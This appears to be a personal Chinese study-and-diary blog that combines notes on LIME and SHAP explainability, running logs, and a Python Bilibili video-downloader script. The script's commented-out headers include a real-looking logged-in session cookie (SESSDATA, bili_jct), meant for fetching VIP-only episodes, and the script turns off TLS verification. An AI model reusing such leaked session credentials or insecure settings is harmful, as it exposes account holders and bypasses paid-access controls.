    如上图所示,整张图表示的是样本空间,蓝色和粉色表示两种不同类型的样本,显然这个划分是比较复杂的,因此分类模型 f f f是难以通过一个简单的线性函数进行近似的。但是如果我们只看样本空间的一个局部(比如图中的棕色加号和深蓝色圆圈,标记的大小取决于与红色加号的距离,表示的是采样权重),就会发现是可以通过一个线性函数进行划分的,这就需要我们进行近邻采样得到一个局部的样本空间,来进行解释。

    对于这样一个简单的线性分类器,距离这个局部越近,它的分类效果越好,离得越远自然分类效果就会更差。

    举个实际的例子,我们可能很难通过低维的特征来区分一张图像是家具还是武器,这个样本空间太大太大,但是如果只看样本空间一个局部,比如判断一张图像是电视还是军舰,那这就很简单了,只需要非常低维的特征即可判定(比如简单通过物体的尺寸即可判断)。

  • 稀疏线性解释(sparse linear explanation):

    g g g是一个线性模型为例, g ( z ′ ) = w g ⋅ z ′ g(z')=w_g\cdot z' g(z)=wgz,定义忠诚度函数 L \mathcal{L} L
    L ( f , g , π x ) = ∑ z , z ′ ∈ Z π x ( z ) ( f ( z ) − g ( z ′ ) ) 2 (2) \mathcal{L}(f,g,\pi_x)=\sum_{z,z'\in\mathcal{Z}}\pi_x(z)(f(z)-g(z'))^2\tag{2} L(f,g,πx)=z,zZπx(z)(f(z)g(z))2(2)
    其中:
    π x ( z ) = exp ⁡ ( − D ( x , z ) 2 σ 2 ) \pi_x(z)=\exp\left(\frac{-D(x,z)^2}{\sigma^2}\right) πx(z)=exp(σ2D(x,z)2)
    D D D可以是某种距离函数,对于文本可以使用余弦距离,对于图像可以用 L 2 \mathcal{L}2 L2范数,如:
    π x ( z ) = exp ⁡ ( − ∥ x − z ∥ 2 σ 2 ) \pi_{x}(z)=\exp\left(-\frac{\|x-z\|^2}{\sigma^2}\right) πx(z)=exp(σ2xz2)
    于是写得更明白一些,考虑两个特征的情况,假定 g ( x ) = ω 0 + ω 1 x 1 + ω 2 x 2 g(x)=\omega_0+\omega_1x_1+\omega_2x_2 g(x)=ω0+ω1x1+ω2x2就是:
    ξ ( x ) = arg ⁡ min ⁡ ω 0 , ω 1 , ω 2 ∑ i = 1 N exp ⁡ ( − ∥ x − z i ∥ 2 σ 2 ) [ f ( z i ) − ( g ( z i ) ) ] + λ ∑ i = 1 3 1 ( ω i ≠ 0 ) \xi(x)=\arg\min_{\omega_0,\omega_1,\omega_2}\sum_{i=1}^N\exp\left(-\frac{\|x-z_i\|^2}{\sigma^2}\right)[f(z_i)-(g(z_i))]+\lambda\sum_{i=1}^3\textbf{1}(\omega_i\neq0) ξ(x)=argω0,ω1,ω2mini=1Nexp(σ2xzi2)[f(zi)(g(zi))]+λi=131(ωi=0)

    雖然只看一個個體的結果,我們對於複雜模型就有基礎的認識,但若要有全面性的理解,我們可能需要看很多個個體。但是,到底要看哪些個體呢?看多少個個體才算足夠呢?在原始的 paper 中有提供一個選擇個體的演算法,稱作 Submodular pick (SP) 演算法。

    所以原论文里的那个次模选取(submodular pick)算法是用于确定选取哪些样本进行解释:

    这个链接是一个R语言的LIME套件使用教程。下面是使用这个LIME套件运行得到的一个肿瘤切片癌症预测的例子:

    得出來的解果如下圖所示。其中每一個直方圖是一個個體,其中綠色的直條代表該特徵是支持該個體被分類到指定 label,紅色的直條代表該特徵是支持該個體被分到其他 label。預先設定線性模型中非 0 的參數不能超過 4 個,以 Case 416 為例,直方圖的 Y 軸顯示了 Case 416 得出的局部解釋模型中,4 個參數非 0 的特徵, lime 套件可以讓你選擇是否要把連續變數切成不同區間(像決策樹一樣),以便解釋複雜預測模型在 Case 416 附近的行為。

    z ∈ R d z\in\R^d zRd z ′ ∈ { 0 , 1 } d ′ z'\in\{0,1\}^{d'} z{0,1}d即为对应采样得到的样本实例及其解释( z ′ z' z是通过某种手段扰动过的 z z z,其实我还是没有太搞明白是怎么扰动的)。

    具体算法伪代码:

    • 输入:分类器 f f f,样本容量 N N N,实例 x ∈ R d x\in\R^d xRd以及它对应的解释 x ′ ∈ { 0 , 1 } d ′ x'\in\{0,1\}^{d'} x{0,1}d,相似度核 π x \pi_x πx,解释的长度 K K K

    • 算法:

      ① 初始化 Z = { } \mathcal{Z}=\{\} Z={}

      ② for i ∈ { 1 , 2 , . . . , N } i\in\{1,2,...,N\} i{1,2,...,N} do

      z i ′ ← z_i'\leftarrow zi KaTeX parse error: Expected 'EOF', got '_' at position 13: \text{sample_̲around}(x')

      Z ← Z ∪ < z i ′ , f ( z i ) , π x ( z i ) > \mathcal{Z}\leftarrow\mathcal{Z}\cup\left<z_i',f(z_i),\pi_x(z_i)\right> ZZzi,f(zi),πx(zi)

      ⑤ end for

      w ← K-Lasso ( Z , K ) w\leftarrow\text{K-Lasso}(\mathcal{Z},K) wK-Lasso(Z,K),其中 z i ′ z_i' zi作为特征, f ( z ) f(z) f(z)作为目标

      ⑦ return w w w

The recipe for training local surrogate models:

  • Select your instance of interest for which you want to have an explanation of its black box prediction.
  • Perturb your dataset and get the black box predictions for these new points. 扰动数据集并得到扰动后的预测输出。
  • Weight the new samples according to their proximity to the instance of interest. 从这些扰动后的新样本中采样( x x x就是the instance of interest,即你需要去解释的那个样本)
  • Train a weighted, interpretable model on the dataset with the variations. 在采样得到的扰动数据上进行训练
  • Explain the prediction by interpreting the local model.

其实这就很明显了,LIME对一个样本进行解释,就需要训练一个单独的模型,这是很费事的。

  1. SHAP

https://papers.nips.cc/paper/2017/hash/8a20a8621978632d76c43dfd28b67767-Abstract.html

SHAP启发于博弈论中衡量一个agent的贡献,方法是计算包括它与不包括它整个系统的revenue之差。

这被称为一种Additive Feature Attribution Methods,这种方法一定包含一个解释模型 g g g,它是一个线性模型,输出是零一向量:
g ( z ′ ) = ϕ 0 + ∑ i = 1 M ϕ i z i ′ (1) g(z')=\phi_0+\sum_{i=1}^M\phi_iz_i'\tag{1} g(z)=ϕ0+i=1Mϕizi(1)
其中 z ′ ∈ { 0 , 1 } M z'\in\{0,1\}^M z{0,1}M M M M是简化过的输入特征, ϕ i ∈ R , i = 0 , 1 , . . . , m \phi_i\in\R,i=0,1,...,m ϕiR,i=0,1,...,m

  • 在LIME中,输入 z ′ z' z就是interpretable inputs,而 z = h z ( z ′ ) z=h_z(z') z=hz(z)将一个零一向量转换到原始样本空间中。对于词袋文本特征, h z h_z hz将一个零一向量(表示单词是否存在)转换为一个频次向量(即 1 1 1转换为具体频次, 0 0 0还是 0 0 0);对于图像, h z h_z hz将图像视为一个super pixels集合(即将图像切块,每一块称为一个super pixels),然后将 1 1 1映射成对应的切块( 1 1 1表示选取了这块图像), 0 0 0则映射成它近邻的平均值( 0 0 0表示没有选取这块图像,那么为了还原只能通过近邻取均值来近似)。
    ξ = arg ⁡ min ⁡ g ∈ G L ( f , g , π x ′ ) + Ω ( g ) (2) \xi=\arg\min_{g\in\mathcal{G}}L(f,g,\pi_{x'})+\Omega(g)\tag{2} ξ=arggGminL(f,g,πx)+Ω(g)(2)

    Faithfulness of the explanation model g ( z ′ ) g(z′) g(z) to the original model f ( h z ( z ′ ) ) f(h_z(z′)) f(hz(z)) is enforced through the loss L \mathcal{L} L over a set of samples in the simplified input space weighted by the local kernel π x ′ π_{x'} πx. Ω \Omega Ω penalizes the complexity of g g g. Since in LIME g g g follows Equation 1 1 1 and L \mathcal{L} L is a squared loss, Equation 2 2 2 can be solved using penalized linear regression.

  • DeepLIFT:arxiv.1704.02685arxiv.1605.01713

  • 传统的Shapley Value估计:

    原先的所有特征集合 F F F,然后我们选取一部分特征 S ⊆ F S\subseteq F SF,在 S S S上重训练一个模型 f S f_S fS

    这时候我们就可以计算一个特征 i i i的重要性:
    ϕ i = ∑ S ⊆ F \ { i } ∣ S ∣ ! ( ∣ F ∣ − ∣ S ∣ − 1 ) ! ∣ F ∣ ! [ f S ∪ { i } ( x S ∪ { i } ) − f S ( x S ) ] \phi_i=\sum_{S\subseteq F\backslash\{i\}}\frac{|S|!(|F|-|S|-1)!}{|F|!}[f_{S\cup\{i\}}(x_{S\cup\{i\}})-f_S(x_S)] ϕi=SF\{i}F!S!(FS1)![fS{i}(xS{i})fS(xS)]

这篇文章差不多用的就是上面和这个式子,当然后面它做了一些变体,包括和LIME的结合。

我忽然想起来和那篇MRC文章用的重训练方法很像,那个就是扔掉passage里的一句话然后重训练模型。

Python里是有shap这个包可以做shap的,具体参考https://blog.csdn.net/fulk6667g78o8/article/details/122317850

另外Python里也有lime这个包:具体参考https://blog.csdn.net/fengchi863/article/details/80340634


20230104~20230106

  • 下午顶着轻霾跑场地万米,阳康后体能大致恢复。
  • 这两天跟着wyl搞答辩材料,渐渐又保持不了12点前熄灯的作息,不过即便不睡午觉,状态也是肉眼可见的好,说到底就得早睡。4号太忙休一日;昨天临走前慢跑3000米,穿着羽绒服牛仔裤都感觉很轻松,就知道肯定可以了。但今天跑之前很想偷懒,因为早饭没吃,中午吃得也不多(不过我最近三天两头去蜀地源,一干就是三四碗饭,巨能吃),空气质量也不佳,本来想混一下就走,热身3圈之后忽然感觉一下子就来了,换短袖三分裤直接上道。半个月多没有认真跑,配速太快容易崩,刻意压了一下速度,最后以4’20"的均配跑完25圈(用时43’23")也算是差强人意。
  • 今年C++出的太难,给这帮刚来的小朋友整不会了,监考时看到几个认识的时间过大半还没做完一半,我就知道肯定要凉。这学期因为要给他们上习题课的缘故,被迫把C++又捡起来,回头再学一遍发现C++确实严谨精细,还是很受用的。所以每次习题课真都做了充足准备,很希望能给他们讲明白,可惜后面开始上网课他们效率肯定差,刚上大学就这么惨,就算是前两年,至少秋学期也还是可以正常上课考试的。

目前学界对于可解释性以及可信度这块并没有形成一个统一的定义与指标,史海波那边又搞了一套跟我完全不同的说法,反正最后也不是我讲,但是还是做个记录:

我理解的可解释性与可信度:

  • 可解释性指的是通过一种解释表征来解释模型。一般来说会以评分向量形式呈现,针对的是一个特定的样本实例。比如输入的是一个序列 x = { x 1 , . . . , x n } {\bf x}=\{x_1,...,x_n\} x={x1,...,xn},输出是 f ( x ) f({\bf x}) f(x),那么我要解释为什么模型输出是 f ( x ) f({\bf x}) f(x),那么我给出的将是一个评分向量 m = { m 1 , . . . , m n } {\bf m}=\{m_1,...,m_n\} m={m1,...,mn},用于给每一个输入token( x i x_i xi)一个得分,用以表示它对输出的贡献度。目前主流的LIME, IG, SHAP都是这么做的。

在这里插入图片描述

  • 那么接下来可信度是什么?可信度就是我给出的这个解释表征到底可不可信。具体的指标如下:

    • 比如DFMIT, x : 1 x_{:1} x:1表示从输入序列 x x x中挖去评分向量值最高的那一个token后剩余的子序列, c c c就是黑盒模型(分类器),那么如果挖去后的输出和输入不同,表明这个挖去的token确实很重要,那么就是可信的,反之不可信。后面的几个指标就不作解释了。
      在这里插入图片描述

那么史海波那边给出的理解是这样的:

在这里插入图片描述

  • 这一张跟我的理解还是差不多的,尤其是基于梯度还有线性模型那边。基于注意力和擦除的这个看起来很高端,其实也容易想明白。注意力指的就是模型里的注意力权重向量,直接拿出来做解释,基于擦除的其实就是基于扰动的,跟SHAP那种基于博弈论算贡献值的是差不多的。

在这里插入图片描述

  • 这个我确实不知道,居然有这么多工具和评测数据集。我知道Python有LIME和SHAP的包,但那个是给出解释表征的,并不是可信度衡量。据我所知,可信度这块的评测主要是对指标本身进行评测,因为不同的指标(COMP,SUFF等)其实很多时候会给出截然不同的可信度,所以针对特定的任务会首先计算可信度的diagnosticity(诊断性),具体就是 Pr ⁡ ( u ≻ F v ∣ u ≻ v ) \Pr(u\succ_F v|u\succ v) Pr(uFvuv)的值,其中 u ≻ v u\succ v uv表示解释表征 u u u v v v更可信, u ≻ F v u\succ_F v uFv表示在可信度指标 F F F下解释表征 u u u v v v更可信,于是可以用 Pr ⁡ ( u ≻ F v ∣ u ≻ v ) \Pr(u\succ_F v|u\succ v) Pr(uFvuv)来衡量指标 F F F的好坏。这里的问题就是如何构造满足 u ≻ v u\succ v uv的样本对 ( u , v ) (u,v) (u,v),因为缺少绝对客观(绝对正确)的评估解释表征的工具。所以实际进行数据伪造时会构造 v v v是随机向量, u u u则通过LIME或SHAP给出,这样近似的满足 u ≻ v u\succ v uv

在这里插入图片描述

  • 这个我就完全不知道没看过了。可行性说的是推理依据(在我的理解里就是解释表征)和人类解释之间的相似性。忠实度不是很能懂,解释表征能影响模型输出吗?感觉因果反了,有输出才有解释。

在这里插入图片描述

  • 后面就完全和示例理论(prototype theory)结合的内容,我没有听崔万云细讲,不是很懂。

在这里插入图片描述

  • 这边写的就是教科书内容了。史海波理解的可信度跟我的分歧很大,而且它也没有对那几个可信度指标详细解释,人微言轻,他说啥就是啥呗。

20230107

  • 炳杰约莫是分了,昨天临走在图书馆一楼看到他,也没有直说,但回去看到他pyq改成三日可见,签名还改成了前马拉松爱好者,八九不离十了。缘是可遇不可求的,对错不论,老王总归是非常理性的人。
  • 抢到14号下午的票,也该回去了。
  • 今天重度污染,还好昨天练了,12号开始下雨,我还有4个晴天可以挣扎一下,回去就没有这么宽松的跑步环境了,昨天跑了一下又给老妈说了半天,真的难搞,自己的身体状态我还清楚,跑两圈就知道行不行了,而且这几天也是循序渐进地上强度,烦。

20230108~20230109

  • 下午3000米全力跑,用时11’42",3’58"+3’57"+3’47",持平阳前水平,目标是跑5000米PB,状态非常兴奋,节奏也很好,但是6圈之后稍感脱力,感觉坚持不到5000米,提速冲刺直到力竭收场。目前状态肯定是完全恢复到最佳了,很想能在回家前跑一个pb出来。
  • 昨天骑了一趟上海站,主要是提前去把优惠资质绑好,毕竟之前都没有用过这个优惠,万一走的那天学生票刷不出来也挺麻烦。之所以选择骑过去,因为真的好久没有骑行长距离,以前冬天最喜欢穿戴得严严实实,然后带个耳机出去漫无目的地朝一个方向骑很久很久,直到一个从来没有去过的地方,逛一圈再行折返。
  • 最后一波赶工,希望能被大佬们带飞一把。

之前的BILIBILI视频下载脚本居然还能用,下了个鸡你太美官方MV,属实上头(这个代码应该可以直接跑通):

# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn
# @reference: https://github.com/iawia002/annie

import os
import re
import json
import requests
from tqdm import tqdm

class BiliBiliCrawler(object):
	
	def __init__(self) -> None:				
		self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'
		self.video_webpage_link = 'https://www.bilibili.com/video/{}'.format
		self.video_detail_api = 'https://api.bilibili.com/x/player/pagelist?bvid={}&jsonp=jsonp'.format						
		self.video_playurl_api = 'https://api.bilibili.com/x/player/playurl?cid={}&bvid={}&qn=64&type=&otype=json'.format	
		self.episode_playurl_api = 'https://api.bilibili.com/pgc/player/web/playurl?ep_id={}&jsonp=jsonp'.format			
		self.episode_webpage_link = 'https://www.bilibili.com/bangumi/play/ep{}'.format
		self.anime_webpage_link = 'https://www.bilibili.com/bangumi/play/ss{}'.format
		self.chunk_size = 1024
		self.regexs = {
			'host': 'https://(.*\.com)',
			'episode_name': r'meta name="keywords" content="(.*?)"',
			'initial_state': r'<script>window.__INITIAL_STATE__=(.*?);',
			'playinfo': r'<script>window.*?__playinfo__=(.*?)</script>',	
		}

	def easy_download_video(self, bvid, save_path=None) -> bool:
		"""Tricky method with available api"""
		
		# Request for detail information of video
		response = requests.get(self.video_detail_api(bvid), headers={'User-Agent': self.user_agent})
		json_response = response.json()
		
		cid = json_response['data'][0]['cid']
		video_title = json_response['data'][0]['part']
		if save_path is None:
			save_path = f'{video_title}.mp4'		

		print(f'Video title: {video_title}')
		
		# Request for playurl and size of video
		response = requests.get(self.video_playurl_api(cid, bvid), headers={'User-Agent': self.user_agent})
		json_response = response.json()
		video_playurl = json_response['data']['durl'][0]['url']
		# video_playurl = json_response['data']['durl'][0]['backup_url'][0]
		video_size = json_response['data']['durl'][0]['size']
		total = video_size // self.chunk_size

		print(f'Video size: {video_size}')
		
		# Download video
		headers = {
			'User-Agent': self.user_agent,
			'Origin'	: 'https://www.bilibili.com',
			'Referer'	: 'https://www.bilibili.com',			
		}
		headers['Host'] = re.findall(self.regexs['host'], video_playurl, re.I)[0]
		headers['Range'] = f'bytes=0-{video_size}'
		response = requests.get(video_playurl, headers=headers, stream=True, verify=False)
		tqdm_bar = tqdm(response.iter_content(self.chunk_size), desc='Download process', total=total)
		with open(save_path, 'wb') as f:
			for byte in tqdm_bar:
				f.write(byte)
		return True

	def easy_download_episode(self, epid, save_path=None) -> bool:
		"""Tricky method with available api"""
		
		# Request for playurl and size of episode
		
		# temp_headers = {
			# "Host": "api.bilibili.com",
			# "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0",
			# "Accept": "application/json, text/plain, */*",
			# "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
			# "Accept-Encoding": "gzip, deflate, br",
			# "Referer": "https://www.bilibili.com/bangumi/play/ep234407?spm_id_from=333.337.0.0",
			# "Origin": "https://www.bilibili.com",
			# "Connection": "keep-alive",
			# "Cookie": "innersign=0; buvid3=3D8F234E-5DAF-B5BD-1A26-C7CDE57C21B155047infoc; i-wanna-go-back=-1; b_ut=7; b_lsid=1047C7449_1808035E0D6; _uuid=A4884E3F-BF68-310101-E5E6-10EBFDBCC10CA456283infoc; buvid_fp=82c49016c72d24614786e2a9e883f994; buvid4=247E3498-6553-51E8-EB96-C147A773B34357718-022050123-7//HOhRX5o4Xun7E1GZ2Vg%3D%3D; fingerprint=1b7ad7a26a4a90ff38c80c37007d4612; sid=jilve18q; buvid_fp_plain=undefined; SESSDATA=f1edfaf9%2C1666970475%2Cf281c%2A51; bili_jct=de9bcc8a41300ac37d770bca4de101a8; DedeUserID=130321232; DedeUserID__ckMd5=42d02c72aa29553d; nostalgia_conf=-1; CURRENT_BLACKGAP=1; CURRENT_FNVAL=4048; CURRENT_QUALITY=0; rpdid=|(u~||~uukl)0J'uYluRu)l|J",
			# "Sec-Fetch-Dest": "empty",
			# "Sec-Fetch-Mode": "cors",
			# "Sec-Fetch-Site": "same-site",
			# "TE": "trailers",
		# }
		# response = requests.get(self.episode_playurl_api(epid), headers=temp_headers)
		
		# 2022/05/01 23:31:08 上面是带大会员的下载方式, 可以下载大会员可看的番剧
		response = requests.get(self.episode_playurl_api(epid))
		json_response = response.json()
		# episode_playurl = json_response['result']['durl'][0]['url']
		episode_playurl = json_response['result']['durl'][0]['backup_url'][0]
		episode_size = json_response['result']['durl'][0]['size']
		total = episode_size // self.chunk_size

		print(f'Episode size: {episode_size}')
		
		# Download episode
		# 2022/05/01 23:31:41 大会员最好加入下面的cookie, 但是我不确信是否去掉还能不能可以
		headers = {
			'User-Agent': self.user_agent,
			'Origin'	: 'https://www.bilibili.com',
			'Referer'	: 'https://www.bilibili.com',	
			# 'Cookie'	: "innersign=0; buvid3=3D8F234E-5DAF-B5BD-1A26-C7CDE57C21B155047infoc; i-wanna-go-back=-1; b_ut=7; b_lsid=1047C7449_1808035E0D6; _uuid=A4884E3F-BF68-310101-E5E6-10EBFDBCC10CA456283infoc; buvid_fp=82c49016c72d24614786e2a9e883f994; buvid4=247E3498-6553-51E8-EB96-C147A773B34357718-022050123-7//HOhRX5o4Xun7E1GZ2Vg%3D%3D; fingerprint=1b7ad7a26a4a90ff38c80c37007d4612; sid=jilve18q; buvid_fp_plain=undefined; SESSDATA=f1edfaf9%2C1666970475%2Cf281c%2A51; bili_jct=de9bcc8a41300ac37d770bca4de101a8; DedeUserID=130321232; DedeUserID__ckMd5=42d02c72aa29553d; nostalgia_conf=-1; CURRENT_BLACKGAP=1; CURRENT_FNVAL=4048; CURRENT_QUALITY=0; rpdid=|(u~||~uukl)0J'uYluRu)l|J",
		}
		headers['Host'] = re.findall(self.regexs['host'], episode_playurl, re.I)[0]
		headers['Range'] = f'bytes=0-{episode_size}'
		response = requests.get(episode_playurl, headers=headers, stream=True, verify=False)
		tqdm_bar = tqdm(response.iter_content(self.chunk_size), desc='Download process', total=total)
		if save_path is None:
			save_path = f'ep{epid}.mp4'
		with open(save_path, 'wb') as f:
			for byte in tqdm_bar:
				f.write(byte)
		return True

	def download(self, bvid, video_save_path=None, audio_save_path=None) -> dict:
		"""General method by parsing page source"""
		
		if video_save_path is None:
			video_save_path = f'{bvid}.m4s'
		if audio_save_path is None:
			audio_save_path = f'{bvid}.mp3'
		
		common_headers = {
			'Accept'			: '*/*',
			'Accept-encoding'	: 'gzip, deflate, br',
			'Accept-language'	: 'zh-CN,zh;q=0.9,en;q=0.8',
			'Cache-Control'		: 'no-cache',
			'Origin'			: 'https://www.bilibili.com',
			'Pragma'			: 'no-cache',
			'Host'				: 'www.bilibili.com',
			'User-Agent'		: self.user_agent,
		}

		# In fact we only need bvid
		# Each episode of an anime also has a bvid and a corresponding bvid-URL which is redirected to another episode link
		# e.g. https://www.bilibili.com/video/BV1rK4y1b7TZ is redirected to https://www.bilibili.com/bangumi/play/ep322903
		response = requests.get(self.video_webpage_link(bvid), headers=common_headers)
		html = response.text
		playinfos = re.findall(self.regexs['playinfo'], html, re.S)
		if not playinfos:
			raise Exception(f'No playinfo found in bvid {bvid}\nPerhaps VIP required')
		playinfo = json.loads(playinfos[0])
		
		# There exists four different URLs with observations as below
		# `baseUrl` is the same as `base_url` with string value
		# `backupUrl` is the same as `backup_url` with array value
		# Here hard code is employed to select playurl
		def _select_video_playurl(_videoinfo):
			if 'backupUrl' in _videoinfo:
				return _videoinfo['backupUrl'][-1]
			if 'backup_url' in _videoinfo:
				return _videoinfo['backup_url'][-1]
			if 'baseUrl' in _videoinfo:
				return _videoinfo['baseUrl']
			if 'base_url' in _videoinfo:
				return _videoinfo['base_url']	
			raise Exception(f'No video URL found\n{_videoinfo}')	
			
		def _select_audio_playurl(_audioinfo):
			if 'backupUrl' in _audioinfo:
				return _audioinfo['backupUrl'][-1]
			if 'backup_url' in _audioinfo:
				return _audioinfo['backup_url'][-1]
			if 'baseUrl' in _audioinfo:
				return _audioinfo['baseUrl']
			if 'base_url' in _audioinfo:
				return _audioinfo['base_url']
			raise Exception(f'No audio URL found\n{_audioinfo}')
		
		# with open(f'playinfo-{bvid}.js', 'w') as f:
			# json.dump(playinfo, f)

		if 'durl' in playinfo['data']:
			video_playurl = playinfo['data']['durl'][0]['url']
			# video_playurl = playinfo['data']['durl'][0]['backup_url'][1]
			print(video_playurl)
			video_size = playinfo['data']['durl'][0]['size']
			total = video_size // self.chunk_size
			print(f'Video size: {video_size}')
			headers = {
				'User-Agent': self.user_agent,
				'Origin'	: 'https://www.bilibili.com',
				'Referer'	: 'https://www.bilibili.com',			
			}
			headers['Host'] = re.findall(self.regexs['host'], video_playurl, re.I)[0]
			headers['Range'] = f'bytes=0-{video_size}'
			# headers['Range'] = f'bytes={video_size + 1}-{video_size + video_size + 1}'
			response = requests.get(video_playurl, headers=headers, stream=True, verify=False)
			tqdm_bar = tqdm(response.iter_content(self.chunk_size), desc='Download process', total=total)
			with open(video_save_path, 'wb') as f:
				for byte in tqdm_bar:
					f.write(byte)
			return True

		elif 'dash' in playinfo['data']:
			videoinfo = playinfo['data']['dash']['video'][0]
			audioinfo = playinfo['data']['dash']['audio'][0]
			video_playurl = _select_video_playurl(videoinfo)
			audio_playurl = _select_audio_playurl(audioinfo)

		else:
			raise Exception(f'No data found in playinfo\n{playinfo}')

		# First make a fake request to get the `Content-Range` params in response headers
		fake_headers = {
			'Accept'			: '*/*',
			'Accept-Encoding'	: 'identity',
			'Accept-Language'	: 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
			'Accept-Encoding'	: 'gzip, deflate, br',
			'Cache-Control'		: 'no-cache',
			'Origin'			: 'https://www.bilibili.com',
			'Pragma'			: 'no-cache',
			'Range'				: 'bytes=0-299',
			'Referer'			: self.video_webpage_link(bvid),
			'User-Agent'		: self.user_agent,
			'Connection'		: 'keep-alive',
		}
		response = requests.get(video_playurl, headers=fake_headers, stream=True)
		video_size = int(response.headers['Content-Range'].split('/')[-1])
		total = video_size // self.chunk_size
		
		# Next make a real request to download full video
		real_headers = {
			'Accept'			: '*/*',
			'accept-encoding'	: 'identity',
			'Accept-Language'	: 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
			'Accept-Encoding'	: 'gzip, deflate, br',
			'cache-control'		: 'no-cache',
			'Origin'			: 'https://www.bilibili.com',
			'pragma'			: 'no-cache',
			'Range'				: f'bytes=0-{video_size}',
			'Referer'			: self.video_webpage_link(bvid),
			'User-Agent'		: self.user_agent,
			'Connection'		: 'keep-alive',
		}
		response = requests.get(video_playurl, headers=real_headers, stream=True)
		tqdm_bar = tqdm(response.iter_content(self.chunk_size), desc='Download video', total=total)
		with open(video_save_path, 'wb') as f:
			for byte in tqdm_bar:
				f.write(byte)
				
		# The same way for downloading audio
		response = requests.get(audio_playurl, headers=fake_headers, stream=True)
		audio_size = int(response.headers['Content-Range'].split('/')[-1])
		total = audio_size // self.chunk_size // 2
		
		# Confusingly downloading full audio at one time is forbidden
		# We have to download audio in two parts
		with open(audio_save_path, 'wb') as f:
			audio_part = 0
			for (_from, _to) in [[0, audio_size // 2], [audio_size // 2 + 1, audio_size]]:
				headers = {
					'Accept': '*/*',
					'Accept-Encoding': 'identity',
					'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
					'Accept-Encoding': 'gzip, deflate, br',
					'Cache-Control': 'no-cache',
					'Origin': 'https://www.bilibili.com',
					'Pragma': 'no-cache',
					'Range': f'bytes={_from}-{_to}',
					'Referer': self.video_webpage_link(bvid),
					'User-Agent': self.user_agent,
					'Connection': 'keep-alive',
				}
				audio_part += 1
				response = requests.get(audio_playurl, headers=headers, stream=True)
				tqdm_bar = tqdm(response.iter_content(self.chunk_size), desc=f'Download audio part{audio_part}', total=total)
				for byte in tqdm_bar:
					f.write(byte)
		return True

	def easy_download(self, url) -> bool:
		"""
		Download with page URL as below:
		>>> url = 'https://www.bilibili.com/video/BV1jf4y1h73r'
		>>> url = 'https://www.bilibili.com/bangumi/play/ep399420'
		"""

		headers = {
			'Accept': '*/*',
			'Accept-Encoding': 'gzip, deflate, br',
			'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
			'Cache-Control': 'no-cache',
			'Origin': 'https://www.bilibili.com',
			'Pragma': 'no-cache',
			'Host': 'www.bilibili.com',
			'User-Agent': self.user_agent,
		}		
		response = requests.get(url, headers=headers)
		html = response.text
		initial_states = re.findall(self.regexs['initial_state'], html, re.S)
		if not initial_states:
			raise Exception('No initial states found in page source')
		initial_state = json.loads(initial_states[0])
		
		# Download anime with several episodes
		episode_list = initial_state.get('epList')
		if episode_list is not None:
			name = re.findall(self.regexs['episode_name'], html, re.S)[0].strip()
			for episode in episode_list:
				if episode['badge'] != '会员':							 # No VIP required
					if not os.path.exists(name):
						os.mkdir(name)
					self.download(
						bvid=str(episode['bvid']),
						video_save_path=os.path.join(name, episode['titleFormat'] + episode['longTitle'] + '.m4s'),
						audio_save_path=os.path.join(name, episode['titleFormat'] + episode['longTitle'] + '.mp3'),
					)
				else:													 # Unable to download VIP anime
					continue
		
		# Download common videos
		else:
			video_data = initial_state['videoData']
			name = video_data['tname'].strip()
			if not os.path.exists(name):
				os.mkdir(name)
			self.download(
				bvid=str(episode['bvid']),
				video_save_path=os.path.join(name, video_data['title'] + '.m4s'),
				audio_save_path=os.path.join(name, video_data['title'] + '.mp3'),
			)
		return True


if __name__ == '__main__':
	bb = BiliBiliCrawler()

	bb.easy_download_video('BV178411Y7QB', 'BV178411Y7QB.mp4')
	
	# bb.easy_download_episode('234407', 'temp/ep234407.mp4')

	# bb.download('BV1PT4y137CA')
	
	# bb.easy_download('https://www.bilibili.com/video/BV1jf4y1h73r')
	# bb.easy_download('https://www.bilibili.com/bangumi/play/ep399420')
	# bb.easy_download('https://www.bilibili.com/bangumi/play/ss12548/')

20230110~20230112

  • 尘埃落定,我估计下午syr是被问傻了,周二晚上讨论答辩可能会问到的问题,一直争到快十二点,syr就非要揪着数据增强、结构增强、模型增强三个点不放,各种造问题跟这三个点联系起来,把wyl,wzj几个老师都快逼疯了,wyl差点没跟他吵起来。不过那晚确实让我觉得wyl还是很有东西的,只是平时看起来有点迟缓,实际上关键时刻还是很敏捷的。
  • 结果就是今天答案提的十个问题基本上跟syr想的都不沾边,可解释性更是提都没提,属实给我们整不会了,不过因为是syr主讲,类脑这块问的问题基本上还是没啥毛病,希望还是有的。讲道理这些专家其实也未必搞得清楚我们在做啥,但是他们总是可以设法问住我们的。
  • 昨天下午趁最后一个好天气试了一下,结果状态巨差,前天因为讨论问题熬夜,又在外奔波了一会儿,只跑了4km就废了。不过总归还是认真跑了一下,寒假回去就只能听天由命了。

答辩问题:

  1. 浪潮在这里面做什么?
  2. 大模型的科学问题是什么?
  3. 微软和英伟达平台怎么用于国产芯片?
  4. 模型是浪潮开发的,怎么公布开源成果?
  5. 举个创新点的例子;有没有和公司合作的实例?
  6. 解释一下类脑机制,能凝练一个亮点吗?
  7. 架构也是基于transformer?
  8. 训练大模型的技术上,最能代表项目技术水平的是什么?
  9. 针对指南中泛语义的要求,在项目中是怎么定义和实现的?
  10. 建议题目没必要“类脑”。

20230113~20230114

  • sxy似乎知道我今天回家,我记得是没有跟人说过的,约莫只能是从前文看到了。她昨晚应该十二点多才回来,年底这样加班,真不容易,而且身体还没全恢复好,我一月初坚持早睡了一周才把状态调养到巅峰,说实话真的没必要跟自己的身体过不去,说到底我们还很年轻唉。
